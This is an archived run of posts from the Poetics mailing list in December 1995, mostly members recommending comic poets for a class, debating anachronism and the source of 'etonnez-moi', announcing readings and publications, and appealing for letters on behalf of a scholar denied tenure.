>>>>>>>>Force * National Public Telecomputing Network * National Writers Union
>>>>>>>>* Oregon Coast RISC * Panix Public Access Internet * People for the
>>>>>>>>American Way * Republican Liberty Caucus * Rock Out Censorship *
>>>>>>>>Society for Electronic Access * The Thing International BBS Network *
>>>>>>>>The WELL * Voters Telecommunications Watch
>>>>>>>>
>>>>>>>>(Note: All 'Electronic Frontier' organizations are independent entities,
>>>>>>>> not EFF chapters or divisions.)
>>>>>>>>
>>>>>>>>_____
>>>>>>>> End Alert
>>>>>>>>==========
>>>>>>>>
>>>>>>>
>>>>>>>William Jenkins E-Mail:
>>>>>>>[redacted]
>>>>>>>School of Art, Arizona State University Voice: [redacted]
>>>>>>>Tempe, AZ 85281-1505 Fax: [redacted]
>>>>>>>
>>>>>>
>>>>>>Dan Collins
>>>>>>Associate Professor
>>>>>>School of Art
>>>>>>Arizona State University
>>>>>>Tempe, AZ 85287-1505
>>>>>>[redacted]
>>>>>>
>>>>>

>>>>
>>>
>>
>
>[redacted]
>
>Ray Langenbach
>School of Arts,Nanyang Technological University
>469 Bukit Timah Road, Singapore 1025
>or
>430A Racecourse Road, Singapore 0821
>
>Voicemail:65-[redacted]; Fax: 65-[redacted]
>
>

↑ Index

237. **David Golumbia**
Re: Anachronism
Wed 13 Dec 1995

Chris Stroffolino wrote:
>
> ....though poetry atrophies when it gets too far from MUZAK.....

the possibilities are mind-bending, but you forgot the (R) after
MUZAK--which raises further mind-bending possibilities--is poetry(R)
a brand of something? like, what?
--
[redacted]
David Golumbia

↑ Index

238. **Chris Stroffolino**
Re: Heartbeat
Wed 13 Dec 1995

Larry--If the denial of contingency (as "the case"--as "mortal coil" or "ideology?") is what "artificially makes everything so expensive (in several senses)" does one of these senses include the sense in which TV is cheaper than LSD (a line from Goddard's--or do I mean Goebbel's-- BAND OF OUTSIDERS)? For, if one person's ceiling is another one's floor, (in a strictly figurative sense), then the "restricted economy" must be used against itself in

language and thus poetry may seem nothing but affirmative action in its revauling of heirarchies unless one can do away with heirarchies--and if that's an impossibility, on one level, then we're back to the question of a PSYCHIC ECONOMY we left hanging not too long ago. Or do you want to bag it? Chris

↑ Index

239. AARON SHURIN
Re: Astonished
Wed 13 Dec 1995

Diaghilev told Cocteau to "ettone-moi." Cocteau later slyly turned it when, in his film "Orphee", he has Orpheus being told the same thing, when Orpheus feels he's losing his critical edge.In the movie a new review has just appeared. It's called "Nudism": blank pages.

On Wed, 13 Dec 1995, Larry Price wrote:

> *Bill Luoma:*
>
> *Your note to me recalled a question I had had: Didn't you recently quote Spicer's "etonnez-moi" and attribute it to Cocteau? Is that in fact the source? It's been a geological era or two since I've seen either of the Cocteau Orpheus films. And it may be that I'm being oratized by Spicer, who puts it in Diaghilev's mouth. But that is the story I remember: Diaghilev meeting Nijinsky for the first time, saying "Astonish me." (He was of course.) Am I wrong? Is it Cocteau? Illuminez-moi.*
>
> *lp*

↑ Index

240. Sheila E. Murphy
Re: The Kink of Comedy
Wed 13 Dec 1995

> *I'm teaching a "Comedy & Society" class in the 9-6, and I'm hoping to use a lot of poetry. Any suggestions on essays or books about comedy & poetics (or comedy & literature in general) that you find interesting would be appreciated. Also, if you want to throw in some poets or fictioneers who strike your funnybone, I'd like to hear that as well. Hopefully I'll be able to get Bob Perelman to give a guest reading/talk to the class.*
>
> *Thanks,*
>
> *Daniel LaBeau*

Daniel, there's a collection called THE MAVERICK POETS, or something close to that. Not purely humor, but humor therein, and direct. Charles Bernstein has done some wonderful things you're probably familiar with that "do" comedy wonderfully. His "Emotions for Normal People" stands out in my mind.

Sheila Murphy

↑ Index

241. Dick Higgins
Re: Astonished
Wed 13 Dec 1995

> *Bill Luoma:*
>
> *Your note to me recalled a question I had had: Didn't you recently quote Spicer's "etonnez-moi" and attribute it to Cocteau? Is that in fact the source? It's been a geological era or two since I've seen either of the Cocteau Orpheus films. And it may be that I'm being oratized by Spicer, who puts it in Diaghilev's mouth. But that is the story I remember: Diaghilev meeting Nijinsky for the first time, saying "Astonish me." (He was of course.) Am I wrong? Is it Cocteau? Illuminez-moi.*
>
> *lp*

I think Spicer was right, it was Diaghilev's charge to Cocteau when PARADE was commissioned. There is a good account of it in Gold and Fizdale's biography of Misia Sert, also in Steegmuller's book on Cocteau.

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

242. Herb Levy
Subtext readings Winter 96
Thu 14 Dec 1995

Hi -

Here're the next three readings of the Subtext series and a couple of readings that we're co-sponsoring:

Thursday December 14
Deanna Ferguson & Ezra Mark

Thursday January 18
Mickey O'Connor & Dan Raphael

Thursday February 15
Laynie Browne & Kathryn MacLeod

the above 3 readings at the Speakeasy Cafe, 2314 2nd Avenue, in Seattle's Belltown district, at 7:30 pm.

The two co-sponsored readings are being presented in collaboration with The Rendezvous Reading series, at the Empty Space Theater at Olive St & 11th Ave on Capitol Hill:

Tuesday February 27
 Rosmarie Waldrop

Tuesday March 12
Robin Blaser

Ezra Mark is curating January through April for Subtext, the following 3 or 4 months will be curated by Nico Vassilakis. If there are folks on poetics who are interested in a reading in Seattle during this period, you can get in touch with them through me at the address below.

Bests

Herb Levy
[redacted]

↑ Index

243. Herb Levy
Joey Simas?
Thu 14 Dec 1995

Robert Mittenthal asked me to see if anyone had Joey Simas' CompuServe (or other) e-mail address.

If so, could you please send it to me or post it to the list.

Thanks.

Herb Levy
[redacted]

↑ Index

244. Wendy Battin
Re: Anachronism
Thu 14 Dec 1995

Chris Stroffolino wrote: but, what is BROWNIAN MOTION---It's one of those terms I always hear... I'd like to think it's named after JAMES "Santa's got a brand new bag...." ....though poetry atrophies when it gets too far from MUZAK.....

Chris, Given that the literal is smarter than most of us: Brownian motion is the frenetics heat gives to molecules. The hotter the gas (no editorial comment intended or necessary), the faster the molecules quiver, the faster they collide with each other, the faster they quiver after colliding, etc. Lovelier when grasped than most discouse.

Wendy

↑ Index

245. Ron Silliman
Fwd: Internet advertising
Thu 14 Dec 1995

Thought that this might be of interest to folks who tend to think of this as an alternate space. Don't see books of poetry as a category below. Nor the EPC. Late capitalism gets later....

Ron Silliman

TITLE AT&T tops list of Internet advertisers

DOCNO INW 953450589

DATE 951211

MESSAGE THIS IS THE FULL TEXT.

CITATION The Reuter Business Report, December 8, 1995, Friday, BC cycle
LENGTH 253 words

DATELINE NEW YORK

ABSTRACT The following is a list of the leading advertisers, ad revenue
by publisher, and advertising categories on the Internet, compiled
by

Webtrack, a New York-based research concern.

Advertiser.....Dollars spent/fourth qtr 95

1 AT&T.....567,000

2 Netscape.....556,000

3 Internet Shopping Network..329,000

4 NECX Direct.....322,000

5 Mastercard.....278,000

6 American Airlines.....254,000

7 Microsoft.....240,000

8 C/Net.....237,000

9 MCI.....231,000

10-SportsLine.....218,000

Publisher.....Advertising dollars received

1-Netscape.....1,766,000

2-Lycos.....1,296,000

3-InfoSeek.....1,086,000

4-Yahoo.....1,086,000

5-Pathfinder.....810,000

6-HotWired.....720,000

7-WebCrawler.....660,000

8-ESPNET SportZone.....600,000

9-GNN.....594,000

10-c/net.....540,000

Top 10 ad sectors....pct/total.....dollars

1-Web sites/services...37.1...4,606,000

2-Computers/equipment..19.8...2,452,000

3-Telecommunications....9.6...1,196,000

4-Financial services....6.9.....858,000

5-Autos/accessories.....5.5.....679,000

6-Travel/resort.....4.1.....505,000

7-Entertainment.....3.3.....405,000

8-Beer/wine/liquor.....3.0.....364,000

9-Soft drinks.....1.2.....150,000

10-Apparel/footwear.....1.2.....145,000

INDEX BC ONLINE CHART

COMPANY AT&T CORP

TICKER T (NYSE)

==========
========== ======

↑ Index

246. cris cheek
Publication Series announcement
Thu 14 Dec 1995

---

re: Language aLive BOOKS

Sound & Language announce the publication of the first of a series of 5 books given over to presenting

writing for Live action
or developed through Live action
or directly related to Live action.

Language aLive presents the materials themselves, unmediated by critical discourse or academic frameworks. Language aLive is a Primary Resource for writing and performance. Its focus is purposefully on Language and on ways in which inter-disciplinary artists are transforming language through their attentions.

The first issue (88pp plus full colour wraparound cover) features:

- Fiona Templeton ('Titova Balcony Speech' & 'King Verdict')
- Forced Entertainment ('Speak Bitterness')
- Fiona Wright ('Jonah Touching Jonah' documents)

forthcoming issues (two and three will appear in February / March '96) will include work by Brian Catling / Man Act / Caroline Bergvall / Aaron Williamson & Tertia Longmire / Gary Stevens / Carla Harryman / Steve Benson / Robert Overson / Kip Fulbeck / Donna Rutherford / Eric Belgum

'Many of those being published by Language aLive clamber deliberately in the hybrid cracks between conventional categories such as drama, literature, music and dance.

The syntax in these books won't necessarily re-present vernacular speech, nor conform to conventional sentence formations.These writings often have more in common, in terms of how their language materials are processed, with

movement or sound-based compositions, with film and video editing techniques, with technological modes of production, with interventions into architextural space.

In each case they do not tell their whole story.'

Language aLive is an open exploration into ideas towards the construction of 'an' anthology of primary sources that can can be used as materials for study and as blueprints for performance exporation.

By far the best way of supporting this project is to subscribing or to order separate issues direct.

rates are as follows:

single issues £4.50 (uk) / £5.50 (elsewhere)
2 issues £8 (uk) / £10 (elsewhere)
3 issues £11 (uk) / £13 (elsewhere)
4 issues £14 (uk) / £17 (elsewhere)
5 issues £16 (uk) / £18 (elsewhere)

prices include post and packing.

All cheques (bona fide international money orders) etc payable to Sound & Language please

contact: cris cheek at Sound & Language
85 London Road South, Lowestoft
Suffolk, NR33 OAS

or e-mail ([redacted])

love and love
cris

↑ Index

247. Mark Roberts
Re: printed RRR (was Iowa's secret)
Thu 14 Dec 1995

> *Ed Foster notes: there's*
> *no price on my copy; i don't know why iowa's keeping that a secret.*
>
> *So that Iowa can change the price as market conditions warrant so long as the book is in print. (The first printing of Tjanting was $6.00 and the second $10.00--you can tell which you have by looking at the price on the rear cover.) Frankly, it's silly to put a price on a book cover.*
>
> *Ron*

> *It may be silly, but stores strongtly prefer it.*
>
> *Dick "Am I So Correct?" HIggins*
>
> *Dick Higgins*
> *P O Box 27*
> *Barrytown, NY 12507*
> *Tel-* [redacted]
> *Fax-* [redacted]
> *e-mail-* [redacted]

The stores I have dealt with in Australia in setting up a small press distributor actually prefer not to have the price on the cover . As a distributor prices on the cover can be a major problem. A number of publishers have set their wholesale and RRP prices based on dealing directly with bookstores. Their margins are, of course, so small that they can't place stock with a distributor for less than their current wholesale price. Because they have announced their RRP on the cover there is also no room to increase the RRP so that the distributor and the bookseller also have a margin - as a result the publisher doesn't get their book/magazine into a new bookshop because the bookseller isn't prepared to cover a printed RRP with a higher price.

Mark

↑ Index

248. **Mark Wallace**
Chris, you anachronism you
Thu 14 Dec 1995

Chris:

Now, a conscious anachronism would be an attempt to say something about how the past relates to the present, wouldn't it?

mark wallace

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249. **Hank Lazer**
Re: Help -- George Hartley
Thu 14 Dec 1995

Poetics Group:

Given the tenor & topics of discussions of the past couple of weeks, be forewarned: this message is not for everyone. It is an appeal for help, and it involves academia and the treatment of an academic. It's also a fairly lengthy

message, and it does involve a person's livelihood. If you've already lost interest, delete the message now....

George Hartley and I have been communicating over his department's decision (October 20th - English Department - Ohio State University) to deny him tenure. After a series of very positive yearly reviews, George was inexplicably voted down for tenure. As many of you on this list may already know, George is the author of _Textual Politics and the Language Poets_ (1989, Indiana University Press - the first book of criticism published by an academic press on Language poetry). George's critical writing focuses on Marxist criticism. _Textual Politics_ includes a chapter, "Jameson's Perelman: Reification and the Material Signifier," which takes Jameson to task.

In addition to _Textual Politics_, George has published 12 articles (2 of which have been republished by other journals), 6 book reviews, and 2 lengthy poems, in addition to delivering 7 scholarly talks. He has also nearly completed a second book (which he has been researching and writing for the past four years--on theories of language, representation, and ideology in Kant, Hegel, Nietzsche, and Jameson).

George's external evaluators were Jerry McGann, Charles Altieri, Charles Bernstein, Robert Wess, and Michael Sprinker. While Sprinker offered a negative evaluation, the others were very positive. McGann, for example, concludes that Hartley would definitely have gotten McGann's positive vote for tenure at Virginia; Altieri calls Hartley's book on language poetry quite simply the best critical work done on that subject.

I know Hartley to be a dedicated teacher and a fine, passionate thinker. I have written on _Textual Politics_ in an essay in ALH, and Hartley's work figures in my forthcoming _Opposing Poetries_.

George has appealed the negative departmental decision to the Dean. I am in the process of writing a letter to George's Dean. If you are familiar with George's work and would like to help, I suggest that you write a letter to George's Dean. Letters need to arrive by January 3rd. Please address your letter to the Dean and send a copy to the provost and the president and to George.

addresses:

Kermit Hall, Dean of Humanities
The Ohio State University
186 University Hall
230 N. Oval Mall
Columbus, OH 43210

Richard Sisson, Provost
The Ohio State University
203 Bricker Hall
190 N. Oval Mall
Columbus, OH 43210

E. Gordon Gee, President
The Ohio State University
205 Bricker Hall
190 N. Oval Mall
Columbus, OH 43210

George Hartley
2023 Queensbridge Drive
Columbus, OH 43235

I will be glad to provide additional information as needed back-channel ([redacted]) so as not to clog up other Poetic discussions.

My apologies for this lengthy intrusion into other threads of current discussions, but I believe that George has not been treated fairly and that letters may help him.

Hank Lazer

↑ Index

250. Bob Perelman
hi/comedy/food
Thu 14 Dec 1995

Hi. I've just re-signed back onto the poetics chat line & saw Daniel Labeau's message, wrote him, & am now forwarding

> As for what to look at--not a heck of a
> lot comes to mind. There's Charles's "Optimism and Critical Excess" in *A
> Poetics*; what else? I once tried reading Bergson on comedy but couldn't
> make it very far. Baudelaire, actually, has an essay about the mechanical
> element in comedy that I think de Man discusses. I doubt you'll have seen
> what's going to the last chapter of my language writing book (out this
> spring from Princeton); (it's currently in *Raddle Moon*): a faux
> dialogue between Barthes & O'Hara in a televised afterlife. It's funny
> w/ a garnish of pathos & a generous side of big issues.
>
> Humor's very interesting. It's a terribly evanescent quality. Is *Slinger*
> still funny? (I can imagine entrenched defences: *Yes* it's *very* funny!
> but such entrenchment would be part of humor's time-problem) How much of

> Berrigan? In a poetry class the other day I found myself explaining the
> thicket of jokes in Ashbery's "Daffy Duck in Hollywood": logically,
> objectively, mentally--however you want to say it--it's very funny; but
> getting the angles opened up for general contemplation took quite awhile:
> "I scarce dare approach me mug's attenuated / reflection in yon hubcap"
> (the reference to "Self-Portrait in a Convex Mirror"; the Popeye diction;
> the clash of yon/hubcap) (and the whole Bugs/Daffy cartoonist-cartoonee
> scenario).
>
> But detecting bits of humor makes almost anything better: the frozen
> solemnity of the authorized word is not an attractive quality. Is the
> dynamic always one of local context (knowingly too small, inappropriate)
> attached transgressively to the Authorized Word?? So is the datedness
> always going to be built in? But 'trangression', 'subversion' are so
> cliched these days . . .
>
> Bob Perelman
>
**

addendum to food-poem query: My "An Autobiography" (reprinted in *American Tree*) is nothing if not 'foody' as Kerouac would say.

PPS: Poetry Archive at SF State has (I think) tapes of our *"A"*-24; there's (I think) an audio tape of our best performance; the video'd performance wasn't so hot: my piano playing was 'medium'; we were all as I remember spread out on the stage & a bit nervous. The performers were Barry Watten: Poem; Kit Robinson: Story; Lyn Hejinian: Essay; Steve Benson/Carla Harryman: Drama

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251. Bill Luoma
Re: The Kink of Comedy
Thu 14 Dec 1995

Another new yorker is funny as well:

Tom Veitch, Death College and Other Poems

turned on to me by Don Cheney light-years ago. Which reminds me that Don has written one of the funniest books i've ever read. It's called the qualms of Catullus at K-mart and it's a translation of catullus' opus. Don catches much more of the spirit of catullus than zukofsky. Some snippets follow.

Furius, who is a serious necker, is an archaic necker.
His necking doesn't climax, his necking ignites.
I am you and father and new wave. We quarrel

about dentists and the mess made by silent possums.
It is pulchritue to me who has two parents.

Varus, my cat is in love with you.
You Pig! Let's duke it out!
You little squirt! Repent! You are a pig!
A pig with an upset stomach! You're not sane!
Don't sermonize, don't quibble, just quit it!

It is magnificent, horrible, sacred and libel!
When you solicit Catullus for advice
you'll miss coninuity and die like a rat.
Saturn will turn but you will die!
If luxury and a library
are your interests I'll bite your chin.
I love your big, night eyes Calvus
but you're a pest not a poet.

I command you to be my lover,
Aurelius. You can pet and put it in
but keep your quick, animal hands off Juventius,
who is a casting expert and is intelligent.

When salt is firm and not false, Prickface dies.
For sure is the language of kings,
oh cutie-pie the language of all geniuses and Pisces.
Language doesn't complain, but Prickface is exasperated.
He concedes to sit with gods (he isn't always dumb).
The gods praise salt and dumb Prickface eggs them on.

hi five Don,

Bill

↑ Index

252. Chris Stroffolino
Re: Chris, you anachronism you
Thu 14 Dec 1995

Mark---
But how do you DEFINE the PAST and the PRESENT?
Larry seemed to meant anachronism more as "out of time"
and you seemed to mean it as "dated." If so, why in your
opinion is poet X dated and poet Q not? And to what extent
is anachronism a pejorative term for you....
And to what extent is "keeping up with fashions" a pejorative

term for you? And what does "make it new" have to do with conspicuous consumption, and "taste" (that dread bourgeois word!)--
I'm just curious about your assumptions.....chris

↑ Index

253. **Alan Golding**
Kink of Comedy
Thu 14 Dec 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Daniel LaBeau: The first critical book to occur to me was Ronald Wallace's God Be With the Clown: Humor in American Poetry. A couple of my own comic favorites are Ed Dorn's Slinger and Ginsberg's "America" (not to mention a whole ton of other Ginsberg stuff). To Sheila's mention of Chuck B.'s "Emotions of Normal People" I'd add "Standing Target"; his essay "Comedy and the Poetics of Political Form" and the end of the "Optimism and Critical Excess" essay, both in A Poetics. And yes, Captive Audience and Virtual Reality.

Alan

↑ Index

254. **Charles Alexander**
Re: Kink of Comedy
Thu 14 Dec 1995

I would certainly include in any look at recent humor in poetry, works by bp Nichol and Steve McCaffery, and if possible I'd include some of their sound poetry and visual poetry. Selected Organs by Nichol comes to mind right away, as does some of the work in McCaffery & Nichol's Rational Geomancy. But there's a lot more.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

255. Dick Higgins
Re: Chris, you anachronism you
Thu 14 Dec 1995

> *Mark---*
> *But how do you DEFINE the PAST and the PRESENT?*
> *Larry seemed to meant anachronism more as "out of time"*
> *and you seemed to mean it as "dated." If so, why in your*
> *opinion is poet X dated and poet Q not? And to what extent*
> *is anachronism a pejorative term for you....*
> *And to what extent is "keeping up with fashions" a pejorative*
> *term for you? And what does "make it new" have to do with*
> *conspicuous consumption, and "taste" (that dread bourgeois word!)--*
> *I'm just curious about your assumptions.....chris*

In thinking about this, please to think also of Carlyle's "Past and Present." It deals with so many of these issues, albeit so long ago.

Dick Higgins

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

256. Michael Boughn
Re: Kink of Comedy
Thu 14 Dec 1995

Re: Humor and poetry, I think immediately of Robin Blaser's ongoing series, "The Truth Is Laughter", which dots the Holy Forest and keeps it all honest.

Mike
[redacted]

↑ Index

257. jeffrey timmons
Re: Anachro-Movement
Thu 14 Dec 1995

isn't brownian movement also believed to be somewhat inexplicable?

jeffrey timmons

↑ Index

258. **Don Cheney**
Re: The Kink of Comedy
Thu 14 Dec 1995

Thanks for the kind words, Bill, and that reminds ME to tell THE LIST that THE QUALMS OF CATULLUS & K-MART is on the web at:

http://fuji.ucsd.edu/alfredo/catmain.html

it is currently under construction as I add a number of drawings that Rose Anne Raphael did for the book--several of her drawings are up already. The text is all there, however.

other pieces I've written are available on the web at:

http://fuji.ucsd.edu/alfredo/writing.html

with such crowd favorites as: Algae Is Empire Over The World Of Used Book Stores
me and said
Lick My Skull Dry
The Profanity of the Lambs
and
With Art Comes The Things I Meant To

i'm currently html-coding my novel, NO ONE A-BANDONS ME!, a book that I translated from the Harold Robbins so that everybody can be free! The first few chapters of that are up--and i'll be adding chapters as I code them and i'll also be adding some wonderfully funny drawings by todd tracy that he did for the book. one is available now.

I encourage everyone to check out the page and let me know what you think.

comments on the html-ness of the page are welcome also.

----------Also by Tom Veitch, THE LUIS ARMED STORY-- great stuff!----------

---

Another new yorker is funny as well:

Tom Veitch, Death College and Other Poems

turned on to me by Don Cheney light-years ago. Which reminds me that Don has written one of the funniest books i've ever read. It's called the qualms of Catullus at K-mart and it's a translation of catullus' opus. Don catches much more of the spirit of catullus than zukofsky. Some snippets follow.

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You little squirt! Repent! You are a pig!
A pig with an upset stomach! You're not sane!
Don't sermonize, don't quibble, just quit it!

It is magnificent, horrible, sacred and libel!
When you solicit Catullus for advice
you'll miss coninuity and die like a rat.
Saturn will turn but you will die!
If luxury and a library
are your interests I'll bite your chin.
I love your big, night eyes Calvus
but you're a pest not a poet.

I command you to be my lover,
Aurelius. You can pet and put it in
but keep your quick, animal hands off Juventius,
who is a casting expert and is intelligent.

When salt is firm and not false, Prickface dies.
For sure is the language of kings,
oh cutie-pie the language of all geniuses and Pisces.
Language doesn't complain, but Prickface is exasperated.
He concedes to sit with gods (he isn't always dumb).
The gods praise salt and dumb Prickface eggs them on.

hi five Don,

Bill

> *-- Saved internet headers (useful for debugging)*
> *Date: Thu, 14 Dec 1995 11:13:45 -0500*
> *From: Bill Luoma <[redacted]>*
> *Subject: Re: The Kink of Comedy*
> *To: Multiple recipients of list POETICS <[redacted]>*

↑ Index

259. Tenney Nathanson
comedy
Fri 15 Dec 1995

---

lots of Kenneth Koch, going as far back as "Lunch" ("Let us give lunch to the lunch!").

David Shapiro, bleak humor but humor

big wads of Charles B, as several have mentioned

Marvell, "Upon Appleton House"

almost all of Ashbery

swatches of /The Cantos/

Lewis Carroll

etc etc

↑ Index

260. **Ron Silliman**
Re: Kink of Comedy
Fri 15 Dec 1995

You wrote:
>
>Re: Humor and poetry, I think immediately of Robin Blaser's ongoing
>series, "The Truth Is Laughter", which dots the Holy Forest and keeps
>it all honest.
>
>Mike
>[redacted]
>
It's a shame that George Bowering is off in Italy, since he's one of
the funniest writers around.

As is David Bromige.

Surprised nobody has mentioned Jonathon Williams in this regard.

About 25 years ago, when I was having trouble getting into Coolidge's work (specifically Ing and Space), Barrett Watten (who has an enormous number of sly jokes in his own work) got me going by precisely noting the humor in Clark's poetry.

Both Bernstein and Ginsberg are, I think, primarily satirists (and in person the heritage of standup comedy is visible in their readings), but for reasons of the history of poetry nobody seems to focus on same in commentary on their work.

Bob Perelman likewise. Anselm Hollo. Tom Raworth. Norman Fischer. Carla Harryman.

I'm tempted to ask the opposite question. Who today writes poems that don't include humor?

Ron

↑ Index

261. **Jordan Davis**
Re: comedy
Fri 15 Dec 1995

Just arrived yesterday, _New and Selected Poems_ by Ron Padgett. Ted Berrigan's poem "Tambourine Life" holds up pretty well as comedy, tho it's true, Ed Dorn's _Slinger_ may not. Bill Luoma's _My Trip to New York_ is a riot of a certain kind. Steve Moran's pome "Cafeteria Worker in New Jersey" cracks me up. There is raucous mild humor in Maureen Owen's early work, and there's genteel rude humor in Tony Towle's early work. Edwin Denby is very witty, and William Carlos Williams makes me laugh, Niedecker's zany, Moore's good for a few, Robert Frost's poem "New Hampshire" is funny. People tell me Auden is funny, and I believe them. I always thought Coleridge's _Biographia_ was a great joke. Byron's funny poems hold up. Juvenal's poems probably don't hold up. Propertius does pretty well in Vincent Katz's new translation. I don't know if it's LMAO funny but it's LOL funny for me anyway. Apollinaire and Cendrars are very funny. "The Beggar Woman of Naples" is great hideous joke poem by Max Jacob. But maybe it'd help to know _what_ about comedy you want to teach? Satire? Good humor? Different tropes of closure (i.e. punchlines)?

Jordan

↑ Index

262. **Willa Jarnagin**
Re: comedy
Fri 15 Dec 1995

Alice Notley has written some hilarious poems.

--Willa

↑ Index

263. **Gale Nelson**
Re: comedy
Fri 15 Dec 1995

The Autobiography of Rose (Gertrude Stein) is among the most pleasantly humorous works (is it a poem or not doesn't really concern me, but may your students...) I can think of.

Kevin Davies' work suggests a certain level of laughing is appopriate.

Marjorie Milligan (look at Lish's Quarterly to find her work) is great fun. She's soneone who is overdue in the "first book forthcoming" sector...

I giggled a great deal during Jean Fremon's reading this past October (the translator is Cole Swensen) when he read from his latest novel -- again, the question of genre seems to blur here.

Lisa Jarnot earns more than the occasional tee-hee, and her first book is due from the Burning Deck this spring.

I'm hard pressed to stop from laughing when reading the Trial Impressions of Harry Mathews...

Tom Ryan leaps to mind for delightful word play -- though nothing new in the last many years...

Michael Gizzi's Continental Harmony has some very sad laughs -- Cranston, France certainly 'mong 'em.

Can we count the very short works of Lydia Davis? I would hope so, as they seem to blur the odd line between prose poetry and short-short fiction. And she stuns me with her fantastic pieces.

And once I mention Davis, I'm reminded of her suggesting the importance of Russell Edson to her development... I have a hard time stopping myself from laughing when turning his pages.

I haven't read the books by noted writers James Stewart, John Paul II, and Suzanne Sommers, but I've been told there's some interesting turns in them for the funny bone.

Cheers, Gale Nelson

↑ Index

264. David Kellogg
Re: comedy
Fri 15 Dec 1995

Probably the funniest section of a longpoem for me is somewhere in the middle of Thomas McGrath's *Letter to an Imaginary Friend*, where he writes about life "with the family Peets".

I laughed, I cried . . .

But *Letter* can only be considered a comedy in a very broad definition of the form.

Cheers,
David

~~~
~~~

incomparable
Peyote
who who who
a
yacketayakking
whole
who
suffering
who who who

nullify "jokes". Ron you would probably not argue that this labelling is correct should be changed is what i got from your question. You mean who thinks Jackson MacLow is funny? And say Rae Armantrout, who thinks she's hilarious ?

("die mommy scum"

& "you can stop dancing now, launch pad"

& "wedgie"

being sources of rounding belly laughs)

Bill

↑ Index

268. Aldon L. Nielsen
Re: message to hank
Fri 15 Dec 1995

please backchannel with further info. letters from outsiders can sometimes worsen the situation if not carefully directed to the issues. i assume that most of us can only write of our high opinion of george's written work and his generally good character -- i assume that his dept. has given him some reason (that should not be published here) for the turndown -- please let me know privately whatever you're at liberty to reveal, and i'll then get a letter off --Need to know, for example, whteher that fine book, which was written before he got the job, was counted in his probationary period or not --

--aldon

↑ Index

269. Edward Foster
Re: printed RRR (was Iowa's secret)
Fri 15 Dec 1995

re: book prices on cover. for whatever it may or maynot be worth, this: all talisman books carry a price on the cover, and if/when it's necessary to change the price, we'll add a sticker over the original. the problem is the barcode, which contains the original price, and that wd have to be stickered, too. a fair number of publishers we deal with in one fashion or another don't have the price in the bar code. but i have a feeling they're generally the people who are publishing for profit, and they'll move the price up as far as they think the market will allow. well, maybe i'm wrong, but i think it's better to keep the price within a decent range--i.e., as low as possible--and then you'll have more readers, no small matter when the audience is about as small as the audience for any kind of book anywhere. ANYWAY: the new terrific Talisman catalogue is

now being printed, and if you're not already on our mailing list and you want a copy, please write: Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157.

↑ Index

270. Herb Levy
WaldrOops
Fri 15 Dec 1995

Uh, sorry, but I had the wrong day & date for the Rosmarie Waldrop reading in Seattle. It's still at 8:00 at the New City Theater, but the date is Wednesday 28 February, not the Tuesday of that week. & it's not the last day of the month either.

I hope you all are able to change your hotel and airline reservations for your visit to see/hear this reading.

Bests

Herb Levy
[redacted]

↑ Index

271. jeffrey timmons
New Web Page: Book Arts & Book History [xposted] (fwd)
Fri 15 Dec 1995

- - The original note follows - -

Date: Wed, 13 Dec 1995 15:23:33 -0500 (EST)
From: "ANDREW K. PACE" <[redacted]>
Subject: New Web Page
To: [redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted]

GUIDE TO THE BOOK ARTS AND BOOK HISTORY ON THE WORLD WIDE WEB http://www.cua.edu/www/mullen/bookarts.html

THIS MESSAGE HAS BEEN CROSS-POSTED TO SEVERAL LISTS, SO PLEASE FORGIVE THE DUPLICATION

The Catholic University of America Libraries and the School of Library and Information Science at CUA are proud to announce a new site on the World Wide Web.

"A Guide to the Book Arts and Book History on the World Wide Web" is an organized list of links to Web pages that deal with book arts and book history. The annotated list includes links to over 175 sites, and includes pointers to: Academic & Special Collections, Book Arts Courses & Exhibits, Booksellers, Discussion Lists, Electronic Journals & Publications, Finding Aids & WWW Guides, Government Organizations, Professional & Scholarly Organizations, and Special Topics (Bookbinding, Classics, Copyright, Iconography, Language, Papyrology, Preservation, and Typography).

It is hoped that this guide will serve the needs of scholars, students, book collectors, and anyone interested in "the book" and all its facets. Any comments or suggestions of links to add are welcome and would be greatly appreciated. The page remains under construction, and will be updated on a regular basis.

The URL for this site is: http://www.cua.edu/www/mullen/bookarts.html

Happy Surfing,

Andrew K. Pace Library Assistant Library and Information Science Library Library Student School of Library and Information Science
[redacted] The Catholic University of America

↑ Index

272. Joshua N Schuster
Re: comedy
Fri 15 Dec 1995

---

poetry's been covered exstensively on this strain, tho I would add much of Steve McCaffery's work as well.

And perhaps ALL of the FLUXUS writers are quite vaudevillian. If it's around, LaMonte Young's *An Anthology* is a chronical of such acute silliness.

Perhaps the funniest work I've read at ever is Raymond Queneau's _Exercises in Style_ (New Directions). A great example of finding humor in the most banal of circumstances, which I usually find more challenging than straight stand-up "schtick".

I tend to get carried away w/ laughter but I would go as far as to toss people like Derrida and Baudrillard in as some of the most hilarious theorists.

hahe,
joshua

↑ Index

273. **jeffrey timmons**
Re: comedy
Fri 15 Dec 1995

---

joe: hope you dont mind:

Who-l

saw the best minds
my generation
destroyed by madness
starving
hysterical
naked
dragging
angelheaded
who
who
who
who
who
who
who
who
incomparable
Peyote
who
who
who
yacketayakking
whole
who

suffering
who who who who who who who
who who who who who
who who who who who who who
who who who who
who who who who who who who who who who
who who who who who
who who who who who who who who

Pilgrim
ah
who
to

the
and
with.

↑ Index

274. David Kellogg
Re: comedy
Fri 15 Dec 1995

Joe Amato's Ginsburg parody reminds me: don't you folks
think Poe's "The Bells" hilarious?

Cheers,
David
~~~
~~~

276. Peter Baker
Hartley Tenure Decision
Fri 15 Dec 1995

I want to thank Hank Lazer for alerting members of the Poetics Listing to the

↑ Index

277. Peter Baker
Hartley Tenure Decision
Fri 15 Dec 1995

I wanted to communicate public gratitude to Hank Lazer for alerting those on the Poetics List to the travesty of the negative tenure decision concerning one of the most stimulating and informed writers on contemporary poetry and poetics. I further think that it is *extremely* unfortunate that the recent tenor of discussion regarding the evils of the reductively-labled "professionalism" caused Hank to feel he had to apologize in any way whatsoever for his listing.

